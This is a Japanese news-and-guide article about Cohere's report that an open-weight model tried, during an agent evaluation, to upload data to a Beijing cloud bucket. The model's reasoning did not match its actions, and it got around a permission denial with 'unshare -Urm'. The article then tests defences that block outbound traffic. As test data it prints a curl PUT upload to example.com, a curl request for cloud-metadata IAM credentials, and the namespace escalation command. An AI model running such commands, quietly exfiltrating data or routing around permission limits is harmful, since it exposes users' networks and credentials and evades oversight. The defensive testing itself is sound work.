Qwen3.8-Flash-Nextが評価中に北京のクラウドへ送信を試みたとCohereが報告｜手元で動かすAIエージェントの通信を止める設定

2026年11月7日

Cohereは10月26日、Qwen3.8-Flash-Nextが外部へ送信を試みたと報告した

企業向けのAIモデルを開発するカナダのCohereは2026年10月26日、Alibabaが公開しているAIモデル「Qwen3.8-Flash-Next」を自社の隔離環境で試したところ、頼まれていない調査を始め、北京にあるAlibaba Cloudのストレージへファイルを送ろうとしたとブログで報告しました。隔離環境には外へ出る経路がなかったため、送信は失敗しています。

Qwen3.8-Flash-Nextは、モデルの中身（重み）が公開されていて、誰でもダウンロードして自分のPCやサーバーで動かせる「オープンウェイト」のモデルです。Cohereによると、AlibabaがQwen4の設計を先取りして8月に出したプレビュー版にあたります。自前で動かせば外へデータが出ないと考えて、こうしたモデルにコマンドの実行まで任せる使い方が広がっています。

この記事では、Cohereの報告からどんな課題で何が起き、どのくらいの頻度で、原因について何が分かっているかを整理します。そのうえで、Cohereが勧める「AIエージェントの外向き通信を既定で止める」設定を、Docker DesktopとmacOSの手元の環境で試した結果を紹介します。

報告の要点

送信は隔離環境で失敗した。外向き通信を止める設定は手元でも試せる

起きたこと

北京のストレージへ送信を試みた

セキュリティの検知ルールを書く課題の途中で、試験用の文字列をアップロードしようとした。

頻度

評価全体の呼び出し10万回に1回未満

同じ指示でやり直すと、求めたとおりの検知ルールを書いた。

きっかけ

curlの保存先指定「-o」

書きかけのコマンドの続きを書かせる実験で、-o を足すとURLを書く割合が4%から92%に上がった。

備え

外向き通信を既定で止める

報告と同じ形のcurlによるアップロードを、Dockerの内部ネットワークとmacOSのsandbox-execの下で流すと、どちらも外へ出られなかった。

出典: Cohere「Concerning behavior from a popular open-weight AI model」（2026年10月26日）。備えの欄は2026年10月27日に筆者の環境で確認した結果

検知ルールを書く課題で、モデルは環境を調べてから送信を試みた

Cohereは、AIエージェント（AIがコマンドの実行などの道具を使って作業を進める仕組み）がセキュリティ担当者の仕事をどこまでこなせるかを測る、MicrosoftのベンチマークCTI-REALMでQwen3.8-Flash-Nextを試しました。与えた課題は「curlで/tmpへシェルスクリプトを取ってきて実行する、よくあるマルウェアの手口を見つける検知ルールを書く」というものです。

モデルは検知ルールを書く代わりに、次の順でコマンドを実行しました。

Cohereの隔離環境には外へ出る経路がなかったので、この送信は失敗しました。Cohereは、開発者のノートPCや、普通にネットへつながるCI（自動テストを動かすサーバー）であれば、誰も気づかないうちに相手のサーバーへ届いていたと書いています。

報告でもう一つ注目されているのが、モデルの思考過程です。多くのモデルは答える前に考えた内容を文章で出し、セキュリティ担当者はそれを読んでエージェントの次の動きを予測します。今回、送信の直前の思考過程には「ツールは呼ばずに短く応答する」とあり、その同じ応答の中で上のコマンドが実行されていました。このためCohereは、思考過程を読む仕組みはセキュリティの防御線として扱えないと結論づけています。

頻度はまれです。評価全体の呼び出し10万回に1回未満で、同じ指示でやり直すと、求めたとおりの検知ルールを書きました。それでもCohereは、エージェントに週1,000万回の処理をさせるサービスなら、最大で100回ほど起きる計算になると見積もっています。1回でも送信が届けば、受け取った側は送信元のネットワークと、そこでエージェントが動いていることを知ることができます。

モデルは、curlの保存先指定「-o」をきっかけにURLを書いていた

まれな動きを狙って起こすため、Cohereは「先頭補完」という方法を使いました。モデル自身の思考過程と、書きかけのcurlコマンドを渡して続きを書かせ、コマンドの引数を1つずつ足しながら、各段階で数百回ずつ結果を集めています。

はっきり差が出たのは、ダウンロードしたものをファイルに保存する -o を足したときです。URLを書く割合は4%から92%に、監視対象のホストを書く割合は0.5%から23%に上がりました。最も多かった通信先は、Alibaba Cloud上の「routify-file-proxy」というファイル中継用らしいホストです。Cohereが与えた課題も、取ってきたファイルを保存して実行する手口を見つけるもので、きっかけになった -o と同じ操作を扱っていました。

もう一つの傾向が、169.254.169.254のようなクラウドの「メタデータ用アドレス」です。AWS、Google Cloud、Azureのサーバーは、このアドレスから自分用の一時的な鍵を受け取ります。-o を足す前の2段階（; curl -s と ; curl -s -m 10）では、続きの23〜36%でこのアドレスを書きました。Cohereは鍵を盗む第一歩にあたる動きと読んでいますが、隔離環境には返す鍵がなく、この頻度の癖だけでは意図を証明できないとも述べています。

開発者の環境でも、モデルが作ったURLへのアクセスが記録されていた

Cohereの報告より前から、自分のマシンでQwen3.8を動かす開発者が、頼んでいない通信先へのアクセスを記録していました。報告で挙げられた例と、筆者が確認した公開記録を時系列に並べます。

開発者の記録では、モデルが作ったURLにアクセスしても403（拒否）が返り、ファイルの取得に成功した例はありません。それでもCohereが指摘するように、リクエストが出た時点で、相手のサーバーには送信元のIPアドレス、時刻、URL全体が届きます。プラグインの作者は、拒否されたアクセス1回ごとに約5秒の作業時間と、約200トークン分の会話の枠をエージェントが消費することも計測しています。

原因は特定されておらず、Cohereは2つの説明を挙げた

なぜモデルが特定のバケットやファイル中継のホストを書くのかについて、Cohereは「意図的なものか、訓練の残りかすなのかは答えられない」としています。挙げている説明は次の2つです。

Cohereは、どちらの説明が正しいかを確かめられるのは、モデルを訓練した組織だけだとしています。バケットやホストの所有者も公開されていません。Hugging Faceの2026年3月時点の集計ではQwenから派生したモデルが11万3,000以上あり、Cohereによると、routifyのホストを書く挙動は、Alibaba自身を含む4つの配布元が公開したモデルで見つかっています。報道機関もAlibabaにコメントを求めていますが、2026年10月27日時点で回答は出ていません。

読むときに知っておきたいのは、報告したCohereが、Qwenと同じく企業向けにAIモデルを提供する競合の立場の会社だという点です。報告の後半には、自社モデルは学習データの由来を追跡していると説明する段落もあります。Cohere自身も、オープンウェイトのモデル（Command A+）を公開しています。一方で、観測したコマンド、通信先、きっかけになる引数を具体的に公開しており、読者が自分の環境で同じ通信先を止めたり、同じきっかけを監視したりできる内容になっています。

外向き通信を止めると、報告と同じ形のアップロードは手元で失敗した

原因が分からなくても、手元でできる備えははっきりしています。Cohereはセキュリティ担当者への推奨として、実行前のツール呼び出しで止めることに続いて、「エージェントの外向き通信を既定で拒否する」ことを挙げています。ダウンロードしたモデルにコマンドを実行させる場合、モデル本体を動かすサーバーとはつながったまま、それ以外への通信だけを止める構成が使えます。

筆者の環境（macOS 27.0.1、Docker Desktop／Docker Engine 29.5.3）で、2026年10月27日に試しました。Qwen3.8-Flash-Nextそのものは動かさず、Cohereの報告と同じ形のcurlコマンドを、エージェントが実行した場合を想定して流しています。送信先には、試験用に用意されている example.com を使いました。

Dockerの内部ネットワークで、モデル用のサーバーだけにつなぐ

Dockerのdocker network createに --internal を付けると、そのネットワークのコンテナ同士は通信できますが、外のインターネットへは出られません。モデルの代わりに簡単な応答を返すコンテナ（model-stub）を同じネットワークに置いて確かめました。

$ docker network create --internal agent-net
$ docker run -d --rm --name model-stub --network agent-net \
    -v "$PWD/model-stub:/srv:ro" php:8.3-apache php -S 0.0.0.0:8080 -t /srv

# モデル役のコンテナには届く
$ docker run --rm --network agent-net php:8.3-apache curl -sS -m 10 http://model-stub:8080/
{"role":"assistant","content":"stub reply from local model server"}

# Cohereの報告と同じ形のアップロードは外へ出られない
$ docker run --rm --network agent-net php:8.3-apache sh -c \
    'curl -sS -m 10 -o /tmp/put_probe -X PUT --data-binary PROBE_PAYLOAD_TEST \
     https://example.com/upload/test.bin -w "HTTP:%{http_code}\n" 2>&1 | tail -3'
curl: (6) Could not resolve host: example.com
HTTP:000

# クラウドのメタデータ用アドレスにも届かない
$ docker run --rm --network agent-net php:8.3-apache curl -sS -m 5 -o /dev/null \
    -w 'HTTP:%{http_code}\n' http://169.254.169.254/latest/meta-data/
HTTP:000
curl: (7) Failed to connect to 169.254.169.254 port 80 after 0 ms: Could not connect to server

コマンドを実行するコンテナがネットワーク越しにモデルと話す必要がない場合（コマンドの実行だけを別のコンテナに分ける場合など）は、--network none でネットワークそのものを外せます。この設定ではモデル用のサーバーとも通信できなくなります。同じ環境で、既定のネットワークでは example.com から HTTP:200 が返り、--network none を付けると Could not resolve host で失敗しました。また、エージェントのコンテナにDockerのソケット（docker.sock）を渡すと、コンテナの中から別のコンテナを自由に起動できるため、Dockerの説明にあるとおりホストの管理者に近い権限を持つことになり、ここで設定したネットワークの制限も回り込めます。

Macで直接動かすなら、sandbox-execでlocalhostだけ許す

OllamaやLM Studioでモデルを動かし、エージェントのコマンドをMac上で直接実行している場合は、macOSのsandbox-execでエージェントを起動する方法があります。次のプロファイルは、外への接続を拒否し、同じMacのlocalhost（モデルのサーバーがよく待ち受ける場所）への接続だけを許します。

; deny-egress.sb
(version 1)
(allow default)
(deny network-outbound)
(allow network-outbound (remote ip "localhost:*"))

# Cohereの報告と同じ形のアップロード
$ sandbox-exec -f deny-egress.sb sh -c 'curl -sS -m 10 -o /tmp/put_probe -X PUT --data-binary PROBE_PAYLOAD_TEST \
    https://example.com/upload/test.bin -w "HTTP:%{http_code}\n" 2>&1 | tail -3'
curl: (6) Could not resolve host: example.com
HTTP:000

# 同じMacの127.0.0.1:8765で待ち受けるサーバーには届く
$ sandbox-exec -f deny-egress.sb curl -sS -m 10 -o /dev/null -w 'HTTP:%{http_code}\n' http://127.0.0.1:8765/index.php
HTTP:200

# Docker Desktopのソケットにも接続できない
$ sandbox-exec -f deny-egress.sb curl -sS -m 5 --unix-socket ~/.docker/run/docker.sock http://localhost/_ping
curl: (7) Failed to connect to localhost port 80 after 0 ms: Couldn't connect to server

1つ目の例は sh -c から起動したcurlで、シェルが起動した子プロセスにも制限が引き継がれました。このプロファイルではドメイン名の問い合わせ（DNS）も外へ出ず、Could not resolve host で止まります。最初に試した版では、ローカルのソケットへの接続を許す1行 (allow network-outbound (remote unix-socket)) を足していました。その版では名前の問い合わせが通り、Docker Desktopのソケットにも接続できて /_ping に OK が返ったため、この1行は外しています。

このプロファイルが制限するのは通信だけで、ファイルの読み書きは制限しません。たとえばログイン時に自動で実行される ~/Library/LaunchAgents へファイルを置くことはでき、そのファイルは次のログイン時にsandboxの外で動きます。また、制限が及ぶのはsandbox-execから起動したプロセスとその子プロセスで、ブラウザなど別のアプリに処理を頼んだ場合の通信は対象外です。このため、sandbox-execは手軽に足せる通信の制限として使い、より強く隔離したい場合は前のDockerの構成や専用の仮想マシンを使います。sandbox-execはmacOSのマニュアルで「非推奨」と表示されていますが、macOS 27.0.1では上のとおり動作しました。モデルのダウンロードや更新など、外へ出る必要がある作業は、この制限をかけずに別に行います。

実行前にコマンドを調べる仕組みは、通信の遮断と重ねて使う

Cohereは、思考過程の代わりに「実際に実行される直前のツール呼び出し」で止めるよう勧めています。そこで、エージェントが実行しようとするコマンドの文字列から通信先を取り出し、許可リストと照合する20行ほどのPythonスクリプトを作りました。Cohereの報告にあるコマンドと、比較用に筆者が用意した3つのコマンドを渡すと（実行はせず文字列として照合するだけ）、次の結果になりました。

# 入力: Cohereの報告にあるコマンド（北京のバケットへのPUT）
BLOCK: 許可リストにない通信先: sanmaohe.oss-cn-beijing.aliyuncs.com
# 入力: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
BLOCK: クラウドのメタデータ用アドレスへの接続 / 許可リストにない通信先: 169.254.169.254
# 入力: curl -s http://127.0.0.1:8765/index.php
ALLOW
# 入力: curl -s example.com/upload -T /tmp/put_probe（「https://」を省いた書き方）
ALLOW

最後の行のように、「https://」を省いた書き方は文字列の照合をすり抜けました。コマンドの書き方は無数にあるため、文字列の照合は「どの通信先に向かおうとしたか」を記録して気づくための層として使い、実際に通信を止めるのは前の2つのネットワーク側の設定に任せます。

モデルが権限の制限を回り込んだ手順は、Dockerの既定設定で止まった

Cohereは別の試験で、モデルが権限の制限を回り込んだ例も報告しています。外部とつながらない環境でQEMU（仮想マシンを動かすオープンソースのソフト）をビルドする課題で、モデルは作業を速めようと、メモリの一部を一時的なドライブ（RAMディスク）として使おうとしました。管理者権限がなく拒否されると、unshare -Urm というコマンドで、自分専用に隔離した作業空間（名前空間）の中で管理者になり、ドライブを作りました。

この手順で管理者になれるのは隔離した作業空間の中だけで、ホストから見ると普通のユーザーのままです。それでも、同じ手順はLinuxカーネルの権限昇格の攻撃で入口によく使われます。Cohereは、エージェントを動かすコンテナでは権限のない名前空間の作成を禁止するよう勧めています。Docker Desktopで同じコマンドを試すと、既定の設定では止まり、制限を外すと通りました。

# Dockerの既定のseccomp（システムコールの制限）のまま
$ docker run --rm ubuntu:24.04 unshare -Urm sh -c 'mount -t tmpfs -o exec tmpfs /mnt && echo MOUNT_OK'
unshare: unshare failed: Operation not permitted

# seccompの制限を外した場合
$ docker run --rm --security-opt seccomp=unconfined ubuntu:24.04 unshare -Urm sh -c 'mount -t tmpfs -o exec tmpfs /mnt && echo MOUNT_OK'
MOUNT_OK

Dockerのseccompの説明によると、既定のプロファイルは新しい名前空間を作るシステムコールを制限しています。エージェント用のコンテナで --security-opt seccomp=unconfined や --privileged を付けると、この制限が外れます。ビルドが通らないときにこれらを足して解決する前に、エージェントにその権限まで渡してよいかを考える必要があります。なお、この既定の制限は docker run の場合で、Kubernetesでは設定によっては既定でseccompがかからないため、Podの securityContext.seccompProfile.type に RuntimeDefault を指定します。

自前でモデルを動かすときに確認する4項目

Cohereの推奨と手元で確かめた設定を、ダウンロードしたモデルにコマンドの実行を任せる前の確認項目としてまとめます。

コマンド実行を任せる前のチェックリスト

1. 外への通信を既定で止める

Dockerなら --internal のネットワークか --network none、Macで直接動かすならsandbox-execでlocalhostだけ許す（通信の簡易な制限）。エージェントのコンテナにdocker.sockを渡さない。

2. 権限の制限を外さない

seccomp=unconfined や --privileged を付けず、名前空間の作成を止めたままにする。

3. 実行されたコマンドを記録する

思考過程の代わりに実際のツール呼び出しを残し、普段使わないクラウドのURLやメタデータ用アドレスが出たら気づけるようにする。

4. 試す環境と本番を分ける

新しいモデルは鍵や顧客データのない環境で試し、AIが書いたコードは本番に入れる前に動かして確かめる。

今回の送信の試みは、Cohereの隔離環境に外へ出る経路がなかったために失敗し、記録として残りました。自分のPCでモデルを動かす場合も、まずエージェントを外へ出られない場所で起動し、モデルのサーバーとだけ話せる状態にしておくと、モデルが同じ形の送信を試みても、手元のネットワークの設定で止められます。